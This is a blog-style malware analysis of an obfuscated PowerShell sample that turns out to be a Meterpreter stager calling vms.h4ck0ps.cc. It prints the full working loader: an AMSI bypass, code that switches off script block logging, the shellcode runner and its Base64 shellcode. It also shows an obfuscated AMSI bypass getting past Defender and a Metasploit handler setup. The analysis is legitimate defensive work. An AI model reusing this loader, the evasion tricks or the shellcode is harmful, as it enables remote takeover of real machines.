Let’s kickstart this blog with some PowerShell malware! Pulled this sample fresh off MalwareBazaar - no idea what it is. Opening the .ps1 file in VSCode reveals beautifully obfuscated PowerShell code.

malware


1. Deobfuscating The Sample

To begin the deobfuscation process, I formatted the document, which revealed branches in the code. Shown below is the first half of the malware.

$uEmp=((''+'{1'+'}cr'+'iptB{0}ockLoggi'+'{2}g')-f'l','S','n');
If($PSVersionTable.PSVersion.Major -ge 3) { 
    $l4mb=(('{0}na'+'{1'+'}leSc'+'ri{'+'2}t{5'+'}loc{4}{3}nvo'+'cati'+'onLogging')-f'E','b','p','I','k','B'); 
    $cjcO=[Collections.Generic.Dictionary[string,System.Object]]::new(); 
    $mkK=[Ref].Assembly.GetType(((''+'{6}'+'{5}'+'s'+'t'+'em.{'+'0}a{9}a'+'{1'+'}e'+'m'+'e{9}t.{8}{4'+'}'+'t{7'+'}m'+'a'+'ti{'+'7}{'+'9}.{8}msi{'+'3'+'}ti{2}'+'s')-f'M','g','l','U','u','y','S','o','A','n')); 
    $e3=(('En{1}ble'+'{2}crip{0}Bloc'+'k'+'{3}'+'o'+'gging')-f't','a','S','L'); 
    if ($mkK) { 
        $mkK.GetField((('a'+'{1}s'+'i{3}{0'+'}i{2'+'}Fa'+'i{'+'4}e'+'d'+'')-f'n','m','t','I','l'),'NonPublic,Static').SetValue($null,$true);
    }; 
    $eH2u=[Ref].Assembly.GetType((('{5}ys'+'tem.Ma'+'na{2}ement'+'.{0}{'+'4}'+'tomation.{3}'+'t'+'i{1}s')-f'A','l','g','U','u','S')); 
    $p1k=$eH2u.GetField('cachedGroupPolicySettings','NonPublic,Static'); 
    If ($p1k) { 
        $o5=$p1k.GetValue($null); 
        $cjcO.Add($l4mb,0); 
        $cjcO.Add($e3,0); 
        $o5['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+$uEmp]=$cjcO; 
        If($o5[$uEmp]) { 
            $o5[$uEmp][$e3]=0; 
            $o5[$uEmp][$l4mb]=0; 
        } 
    } Else { 
        [Ref].Assembly.GetType((('S'+'{3}stem.{2}'+'an'+'a{4}emen'+'t.{1}ut'+'oma'+'tion.Sc{0}iptB'+'loc{5}'+'')-f'r','A','M','y','g','k')).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); 
    }
};


The great thing about PowerShell obfuscation, is that the PowerShell Interpreter itself is your swiss-army knife. Take the following example - decoding the first line of the .ps1 malware.

PS C:\Users\root> $uEmp=((''+'{1'+'}cr'+'iptB{0}ockLoggi'+'{2}g')-f'l','S','n');
PS C:\Users\root> Write-Output $uEmp
ScriptBlockLogging


Performing the same decoding process for all obfuscated strings, it becomes much clearer what the malware is doing. What’s left obfuscated - the elephant in the room - is the glaring Base64 string near the end of the script.

If($PSVersionTable.PSVersion.Major -ge 3) { 
    $obj_dict=[Collections.Generic.Dictionary[string,System.Object]]::new(); 
    $type_AmsiUtils=[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils"); 
    if ($type_AmsiUtils) { 
        $type_AmsiUtils.GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true);
    }; 
    $type_Utils=[Ref].Assembly.GetType("System.Management.Automation.Utils"); 
    $fieldinfo_cachedGroupPolicySettings=$type_Utils.GetField('cachedGroupPolicySettings','NonPublic,Static'); 
    If ($fieldinfo_cachedGroupPolicySettings) { 
        $o5=$fieldinfo_cachedGroupPolicySettings.GetValue($null); 
        $obj_dict.Add("EnableScriptBlockInvocationLogging",0); 
        $obj_dict.Add("EnableScriptBlockLogging",0); 
        $o5['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+"ScriptBlockLogging"]=$obj_dict; 
        If($o5["ScriptBlockLogging"]) { 
            $o5["ScriptBlockLogging"]["EnableScriptBlockLogging"]=0; 
            $o5["ScriptBlockLogging"]["EnableScriptBlockInvocationLogging"]=0; 
        } 
    } Else { 
        [Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); 
    }
};

If($PSVersionTable.PSVersion.Major -ge 3) { 
    $type_Utils2=[Ref].Assembly.GetType("System.Management.Automation.Utils"); 
    $type_AmsiUtils2=[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils"); 
    if ($type_AmsiUtils2) { 
        $type_AmsiUtils2.GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true); 
    }; 
    $obj_dict2=[Collections.Generic.Dictionary[string,System.Object]]::new(); 
    $fieldinfo_cachedGroupPolicySettings2=$type_Utils2.GetField('cachedGroupPolicySettings','NonPublic,Static'); 
    If ($fieldinfo_cachedGroupPolicySettings2) { 
        $assK=$fieldinfo_cachedGroupPolicySettings2.GetValue($null); 
        $obj_dict2.Add("EnableScriptBlockInvocationLogging",0); 
        $obj_dict2.Add("EnableScriptBlockLogging",0); 
        $assK['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+"ScriptBlockLogging"]=$obj_dict2; 
        If($assK["ScriptBlockLogging"]){ 
            $assK["ScriptBlockLogging"]["EnableScriptBlockLogging"]=0; 
            $assK["ScriptBlockLogging"]["EnableScriptBlockInvocationLogging"]=0; 
        } 
    } Else { 
        [Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); 
    }
};

&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIANkz1WQCA7VXeW/iRhv/v1K/g1UhYbSEIwk0u1KljgEHUwwYXxxF1c'+'Qe2xPGx9rmStvv3mcMTrLdpNr3lXakCM/Mc83vOePtIiencSRs/YPw548/CJc1wykOBbGS3taFiuO589rLXeU0Wwi/COIaJUk/DjGNNp8+9XZpSqL8vG/ckxxlGQk{1}GCWZWBP+EuyApORq+vBInFz4'+'U6j80bhn8QNmF7JTDzsBEa5Q5PK7cexgblZDTxjNxervv1dr66v2pjH4v'+'MMsE6v6KctJ2HAZq9aEv2tcoXFKiFhVqZPGWezlDZtGN9cNM8qwRyYgbU9Ukgexm1XhLS+vSUm+S6PiUVzKmUas'+'wucsjR3kuinJsmpdWHP5683mV3F9UT7{1}RTkNSUOJcpLGiU7SPXVI1hjiyGVkTrwNcOl5SiN/U6sB2T7eErES7RirC/+LGHFCDiV038okvmYCql'+'me1urg0K+'+'{1}qcbujpEzY/UNOyEGarDKOADw/ub4eWXknNAbg{1}NyUK51cUPAXHEWZ7Rg/UVo1QUVNOM8Tk+wrRjpjtQ2z2ALlbhX/1ZZ7ZIR2PYrr+vB2dqKqbt5k{1}CF6yv730bjJad6P5L7xK'+'MR6Z8iHFKnDFbxLY8Qj5ECkUZJNgEbxerlgrh9woiPcw4yD4yv2AYhzZ95pR1lLkmRA17NwCpweO1LY85+E6tKpJIQ4DvvIVIrHqQIKakvaXEqt{1}M9EFV7DG'+'dZXZjtIEeduqATzIhbF1CU0csV2uVx8Vl9MV{1}dsZw6OMtLcZvav'+'/G86O3FUZanOwc8CxgYekIcihmHpC4MqUukk079Un/1TUB6mDFIHpC0B4{1}ACQdCz3m8pGAqxEatoZNcCRNGQqAoSobMsA8F4pIgRXhhn7jV9+wsM+Ec9hyZEpJXVoK7dRbndcGiaQ4ViKNchNj'+'/YcXXpedsTi8lF/eIZY6tpVPO06ByYIHGQ7wEqYAkzQEOOY1DCWeke3uuNOJPzQHtd2b9+AnBGshz'+'zZJ0vT/UTdtSaHvkW1s6NoMAvhX{1}MIYjHX240beJQm9GGtChtH8MPKRkymAonbS2hJwh/dkaSaYJ{1}LQ31h6PCnKl0F/4y95BmQULBRT1xr7iw6+kBI7UWrV8qSX3xroUDGgL+bo21G7bq4nqMKV5xyT6pCs6GtqFvm'+'c9g9vb4eJooIk6QoE8deX2tVzwbzn/ans/7g+KvcP32jIb0AHoGchLzQqIbSWSPZBXmpUo/oeDr1nj5q0cSHCu'+'0OM40Zuw2m1FdXND{1}+jcYLuTPIRWCzCydSUKdM{1}rGUMnlJpNy2xP'+'FEpkw962jodB63iyJsATd60oj'+'DisaNa0uuiOv/{1}6'+'YaHucH/+iJ+kg3PqPC4PEgZ5EshDH07cB2d+7HMZyYKumv{1}PMobF195dTJhDP8bGgOV22LnG7WCrRolpDJKZali5tnB'+'v3Ce3b9ir02QgD3C{1}deb2MZtvjxoespY5DDrzR/8w31oHxxpF0z6j8+uOZ9nyyWlLN1Nj3rGZ1Z0zOZv050MjcqeGbG2nctCdDNnebSeac98Zqmbcce5HeyLHiL/BbHNMC/uVHUKnz4pWGGzK8BbAq9s2d1PAC2jvsZ948HvEwUdshhSpB4T0ZeRj{1}y7ZZth1TUwCHiKo32ybgOvUX/Cd{1}v8RXhb7bth+God+a3mdHZyhulteq5OeD1h6TYXL5bHK/8A3o+OdkktB8HPzoy0{1}'+'hibVVU+ikgpYh935DLVvUanns{1}l0o8ndZcS9H1vc{1}HmywluQu4zmB6Jo3E9IQgWv/dvc6GglLzXOceAq1JMV6iagFyEe7cDbgXiAmhDR0pe6MhsoygK541FID66CnCnYttBtdbLEvrTieN2NbWrtm9ZPkOF'+'rk0b5z{1}WmgqX0jr{1}CH3+ohLbyKsv{1}a/Iq'+'TrMAM8h+aN9lIZbjVL605FlMOYco8qFuS9KIMJiEYFYqyxdiLHb4OAC9GwaR83jApxVTKUx666smPBPWXqaE8ujTpxWYCNWwqFSNMYn8PKi3jjetFrT41rF1W1S+b39ZL05O4llanU8JHJpn8awQDxKpJ4jid4'+'cLBsEcWtJ7gL2HHSjeQgOBhnYu6hxBKY7Za/zOz3oOhS/QA9ja8PI1HwGLIAEJV+SzUMn5kPR66KoQaUa23z'+'VyLt0pgB/3vyPn5ew/br8pmlr1Ap6vTr88eNXYv9/zbUx'+'zINShwzJyHvzeQuGSKq/8W3gGEsG7LP6/0HSXX01gui66/D/nwQkbgg0AAA{0}{0}')-f'=','f')))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))


Below is an explanation for the Registry Keys disabled in the PowerShell script.

  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockLogging - When enabled, records all script blocks processed by the PowerShell Interpreter.
  • HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging\EnableScriptBlockInvocationLogging - When enabled, also records all script blocks processed by the PowerShell Interpreter when Invoke(), Invoke-Command or similar commands are used to execute PowerShell code at runtime.


In addition, the script attempts a common AMSI (Antimalware Scan Interface) bypass with the line $type_AmsiUtils.GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true).

More commonly used to achieve the same result, is the single line [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true).

This technique has since been patched by Microsoft. But the bypass is trivial.

PS C:\Windows\system32> [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed",'NonPublic,Static').SetValue($null,$true)
At line:1 char:1
+ [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetF ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent


As done in the malware - simple obfuscation bypasses the AMSI check perfectly, and disables AMSI from scanning the remainder of the script.

PS C:\Windows\system32> [Ref].Assembly.GetType(((''+'{6}'+'{5}'+'s'+'t'+'em.{'+'0}a{9}a'+'{1'+'}e'+'m'+'e{9}t.{8}{4'+'}'+'t{7'+'}m'+'a'+'ti{'+'7}{'+'9}.{8}msi{'+'3'+'}ti{2}'+'s')-f'M','g','l','U','u','y','S','o','A','n')).GetField((('a'+'{1}s'+'i{3}{0'+'}i{2'+'}Fa'+'i{'+'4}e'+'d'+'')-f'n','m','t','I','l'),'NonPublic,Static').SetValue($null,$true)
PS C:\Windows\system32>


2. Investigating Embedded Base64

Using the PowerShell Interpreter, again, to decode the Base64 string. This time - revealing more PowerShell code (It was at this point, Windows Defender started acting up). Immediately, there are interesting things to note.

  • Incriminating Windows APIs - GetProcAddress, GetModuleHandle, VirtualAlloc, VirtualProtect, CreateThread, WaitForSingleObject
  • Another Base64 string. Probably shellcode, given the context.


Analysis of the code suggests an attempt to execute shellcode in the local process.

PS C:\Users\root> $plaintext = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('H4sIANkz1WQCA7VXeW/iRhv/v1K/g1UhYbSEIwk0u1KljgEHUwwYXxxF1c'+'Qe2xPGx9rmStvv3mcMTrLdpNr3lXakCM/Mc83vOePtIiencSRs/YPw548/CJc1wykOBbGS3taFiuO589rLXeU0Wwi/COIaJUk/DjGNNp8+9XZpSqL8vG/ckxxlGQk{1}GCWZWBP+EuyApORq+vBInFz4'+'U6j80bhn8QNmF7JTDzsBEa5Q5PK7cexgblZDTxjNxervv1dr66v2pjH4v'+'MMsE6v6KctJ2HAZq9aEv2tcoXFKiFhVqZPGWezlDZtGN9cNM8qwRyYgbU9Ukgexm1XhLS+vSUm+S6PiUVzKmUas'+'wucsjR3kuinJsmpdWHP5683mV3F9UT7{1}RTkNSUOJcpLGiU7SPXVI1hjiyGVkTrwNcOl5SiN/U6sB2T7eErES7RirC/+LGHFCDiV038okvmYCql'+'me1urg0K+'+'{1}qcbujpEzY/UNOyEGarDKOADw/ub4eWXknNAbg{1}NyUK51cUPAXHEWZ7Rg/UVo1QUVNOM8Tk+wrRjpjtQ2z2ALlbhX/1ZZ7ZIR2PYrr+vB2dqKqbt5k{1}CF6yv730bjJad6P5L7xK'+'MR6Z8iHFKnDFbxLY8Qj5ECkUZJNgEbxerlgrh9woiPcw4yD4yv2AYhzZ95pR1lLkmRA17NwCpweO1LY85+E6tKpJIQ4DvvIVIrHqQIKakvaXEqt{1}M9EFV7DG'+'dZXZjtIEeduqATzIhbF1CU0csV2uVx8Vl9MV{1}dsZw6OMtLcZvav'+'/G86O3FUZanOwc8CxgYekIcihmHpC4MqUukk079Un/1TUB6mDFIHpC0B4{1}ACQdCz3m8pGAqxEatoZNcCRNGQqAoSobMsA8F4pIgRXhhn7jV9+wsM+Ec9hyZEpJXVoK7dRbndcGiaQ4ViKNchNj'+'/YcXXpedsTi8lF/eIZY6tpVPO06ByYIHGQ7wEqYAkzQEOOY1DCWeke3uuNOJPzQHtd2b9+AnBGshz'+'zZJ0vT/UTdtSaHvkW1s6NoMAvhX{1}MIYjHX240beJQm9GGtChtH8MPKRkymAonbS2hJwh/dkaSaYJ{1}LQ31h6PCnKl0F/4y95BmQULBRT1xr7iw6+kBI7UWrV8qSX3xroUDGgL+bo21G7bq4nqMKV5xyT6pCs6GtqFvm'+'c9g9vb4eJooIk6QoE8deX2tVzwbzn/ans/7g+KvcP32jIb0AHoGchLzQqIbSWSPZBXmpUo/oeDr1nj5q0cSHCu'+'0OM40Zuw2m1FdXND{1}+jcYLuTPIRWCzCydSUKdM{1}rGUMnlJpNy2xP'+'FEpkw962jodB63iyJsATd60oj'+'DisaNa0uuiOv/{1}6'+'YaHucH/+iJ+kg3PqPC4PEgZ5EshDH07cB2d+7HMZyYKumv{1}PMobF195dTJhDP8bGgOV22LnG7WCrRolpDJKZali5tnB'+'v3Ce3b9ir02QgD3C{1}deb2MZtvjxoespY5DDrzR/8w31oHxxpF0z6j8+uOZ9nyyWlLN1Nj3rGZ1Z0zOZv050MjcqeGbG2nctCdDNnebSeac98Zqmbcce5HeyLHiL/BbHNMC/uVHUKnz4pWGGzK8BbAq9s2d1PAC2jvsZ948HvEwUdshhSpB4T0ZeRj{1}y7ZZth1TUwCHiKo32ybgOvUX/Cd{1}v8RXhb7bth+God+a3mdHZyhulteq5OeD1h6TYXL5bHK/8A3o+OdkktB8HPzoy0{1}'+'hibVVU+ikgpYh935DLVvUanns{1}l0o8ndZcS9H1vc{1}HmywluQu4zmB6Jo3E9IQgWv/dvc6GglLzXOceAq1JMV6iagFyEe7cDbgXiAmhDR0pe6MhsoygK541FID66CnCnYttBtdbLEvrTieN2NbWrtm9ZPkOF'+'rk0b5z{1}WmgqX0jr{1}CH3+ohLbyKsv{1}a/Iq'+'TrMAM8h+aN9lIZbjVL605FlMOYco8qFuS9KIMJiEYFYqyxdiLHb4OAC9GwaR83jApxVTKUx666smPBPWXqaE8ujTpxWYCNWwqFSNMYn8PKi3jjetFrT41rF1W1S+b39ZL05O4llanU8JHJpn8awQDxKpJ4jid4'+'cLBsEcWtJ7gL2HHSjeQgOBhnYu6hxBKY7Za/zOz3oOhS/QA9ja8PI1HwGLIAEJV+SzUMn5kPR66KoQaUa23z'+'VyLt0pgB/3vyPn5ew/br8pmlr1Ap6vTr88eNXYv9/zbUx'+'zINShwzJyHvzeQuGSKq/8W3gGEsG7LP6/0HSXX01gui66/D/nwQkbgg0AAA{0}{0}')-f'=','f')))),[System.IO.Compression.CompressionMode]::Decompress));
Write-Output `n $plaintext.ReadToEnd();

function kgw {
        Param ($r4, $cfdR)
        $yPX = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $yPX.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($yPX.GetMethod('GetModuleHandle')).Invoke($null, @($r4)))), $cfdR))
}

function yA {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $oC,
                [Parameter(Position = 1)] [Type] $vZf6f = [Void]
        )

        $vKJLY = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $vKJLY.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $oC).SetImplementationFlags('Runtime, Managed')
        $vKJLY.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $vZf6f, $oC).SetImplementationFlags('Runtime, Managed')

        return $vKJLY.CreateType()
}

[Byte[]]$wlhQn = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A8AAAB2bXMuaDRjazBwcy5jYwBaSInBScfA+yAAAE0xyVNTagNTSbpXiZ/GAAAAAP/V6HAAAAAvdXNlci9oTEltWm52a1hkMnpUTEpPMTVtQXd3dzdDTWZyNEFEaDl5RWxsRkxQaHl0UHh5RjgwRkVwcVJnODliR25fVWFyc1B3OTR5WlV6RlFsNDRHTndOTFVkOFh6NHlvd1pQcG5HMUo5cGJveFoASInBU1pBWE0xyVNIuAAyqIQAAAAAUFNTScfC61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAAAAD/1U0xwOgXAAAASG9zdDogdm1zLmg0Y2swcHMuY2MNCgBaSf/ISInxTTHJTTHJU1NJx8ItBhh7/9WFwHUiSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QF6Yn////oVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1UiTU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V")
[Uint32]$aBr8 = 0
$mWI = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll VirtualAlloc), (yA @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $wlhQn.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($wlhQn, 0, $mWI, $wlhQn.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll VirtualProtect), (yA @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($mWI, [Uint32]$wlhQn.Length, 0x10, [Ref]$aBr8)) -eq $true) {
        $eBPek = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll CreateThread), (yA @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$mWI,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((kgw kernel32.dll WaitForSingleObject), (yA @([IntPtr], [Int32]))).Invoke($eBPek,0xffffffff) | Out-Null
}


3. Shellcode Analysis

To begin analysis, I (politely) asked ChatGPT write me a Python script to decode the Base64 shellcode and output it to a file.

C:\Users\root\Desktop>py .\b64parser.py "/EiD5PDozAAAAEFRQVBSSDHSUWVIi1JgVkiLUhhIi1IgTTHJSA+3SkpIi3JQSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZNMclI/8lBizSISAH WSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11IMdtTSb53aW5pbmV0AEFWSInhScfCTHcmB//VU1NIieFTWk0xwE0xyVNTSbo6VnmnAAAAAP/V6A8AAAB2bXMuaDRjazBwcy5jYwBaSInBScf A+yAAAE0xyVNTagNTSbpXiZ/GAAAAAP/V6HAAAAAvdXNlci9oTEltWm52a1hkMnpUTEpPMTVtQXd3dzdDTWZyNEFEaDl5RWxsRkxQaHl0UHh5RjgwRkVwcVJnODliR25fVWFyc1B3OTR5WlV6RlFsNDRHTndOTFVkOFh6NHlvd1pQcG5HMUo5cGJveFoASInBU1pBWE0xyVNIuAAyqIQAAAAAUFNTScf C61UuO//VSInGagpfSInxah9aUmiAMwAASYngagRBWUm6dUaehgAAAAD/1U0xwOgXAAAASG9zdDogdm1zLmg0Y2swcHMuY2MNCgBaSf/ISInxTTHJTTHJU1NJx8ItBhh7/9WFwHUiSMfBiBMAAEm6RPA14AAAAAD/1Uj/z3QF6Yn////oVQAAAFNZakBaSYnRweIQScfAABAAAEm6WKRT5QAAAAD/1Ui TU1NIiedIifFIidpJx8AAIAAASYn5SboSloniAAAAAP/VSIPEIIXAdLJmiwdIAcOFwHXSWMNYagBZScfC8LWiVv/V" shellcode.sc
Decoded content saved to shellcode.sc


Then, converted the shellcode to an .exe with shellcode2exe.bat.

C:\Users\root\Desktop\shellcode2exe-master>shellcode2exe.bat 32 shellcode.sc shellcode.exe
Volume in drive C has no label.
Volume Serial Number is F231-6089

Directory of C:\Users\root\Desktop\shellcode2exe-master

08/22/2023  12:59 PM             1,536 shellcode.exe
               1 File(s)          1,536 bytes
               0 Dir(s)  53,296,910,336 bytes free


3.1. Static Analysis

Extracting strings within the shellcode with the command floss shellcode.exe reveals critical information to this investigation.

  • Could vms.h4ck0ps.cc be a malicious domain?
  • Could wininet APIs be used to communicate with said malicious domain?
  • /user/hLImZnvkXd2zTLJO15mAwww7CMfr4ADh9yEllFLPhytPxyF80FEpqRg89bGn_UarsPw94yZUzFQl44GNwNLUd8Xz4yowZPpnG1J9pboxZ (Not sure what this is yet).


The string GoLink www.GoDevTool.com was generated from the shell2exe conversion.

----------------------------
| FLOSS ASCII STRINGS (17) |
----------------------------
Win32 Program!
GoLink www.GoDevTool.com
AQAPRH1
R`VH
R M1
rPH1
RAQH
AXAX^YZAXAYAZH
XAYZH
wininet
SZM1
vms.h4ck0ps.cc
/user/hLImZnvkXd2zTLJO15mAwww7CMfr4ADh9yEllFLPhytPxyF80FEpqRg89bGn_UarsPw94yZUzFQl44GNwNLUd8Xz4yowZPpnG1J9pboxZ
SZAXM1
PSSI
Host: vms.h4ck0ps.cc
SYj@ZI


Suspicious domain is alive (at time of writing).

C:\Users\root>ping vms.h4ck0ps.cc

Pinging vms.h4ck0ps.cc [103.145.13.69] with 32 bytes of data:
Reply from 103.145.13.69: bytes=32 time=285ms TTL=49
Reply from 103.145.13.69: bytes=32 time=284ms TTL=49
Reply from 103.145.13.69: bytes=32 time=285ms TTL=49
Reply from 103.145.13.69: bytes=32 time=284ms TTL=49


3.2. Dynamic Analysis

To facilitate some basic dynamic analysis, I

  1. Ensured the VMWare box was not connected to the internet.
  2. Pointed the DNS of the FlareVM Sandbox to localhost 127.0.0.1.
  3. Launched Wireshark and Process Hacker.
  4. And finally detonated shellcode.exe.

But nothing happened…

wireshark_processhacker


Attempted another detonation. But instead, with the malware’s wrapperPowerShell script.
Success! The DNS queries for vms.h4ck0ps.cc flooded in.

wireshark_processhacker


Anyway, I threw shellcode.exe into VirusTotal. And sure enough, it was just a meterpreter shell. Nothing special.

meterpreter_vt


In an attempt to interact with the meterpreter shell. I added a static DNS entry into FlareVM at C:\Windows\System32\drivers\etc\hosts. The IP 10.0.0.128 points to a locally running Kali Linux.

# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
        10.0.0.128      vms.h4ck0ps.cc

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost


However, there were issues establishing the meterpreter session. In which I suspect differing Metasploit versions were the culprit. (msf6 on Kali Linux). Regardless, it’s just a meterpreter shell, and suggests no further investigation.

┌──(kalikali)-[~]
└─$ msfconsole                 
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.1.39-dev                          ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post       ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: After running db_nmap, be sure to 
check out the result of hosts and services

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.0.0.128
lhost => 10.0.0.128
msf6 exploit(multi/handler) > set lport 8443
lport => 8443
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.128:8443 
[*] Sending stage (175174 bytes) to 10.0.0.129
[*] Sending stage (175174 bytes) to 10.0.0.129
[-] Meterpreter session 1 is not valid and will be closed
[*]  - Meterpreter session 1 closed.
[*] Sending stage (175174 bytes) to 10.0.0.129
[-] Meterpreter session 2 is not valid and will be closed
[*]  - Meterpreter session 2 closed.
[-] Meterpreter session 3 is not valid and will be closed
[*]  - Meterpreter session 3 closed.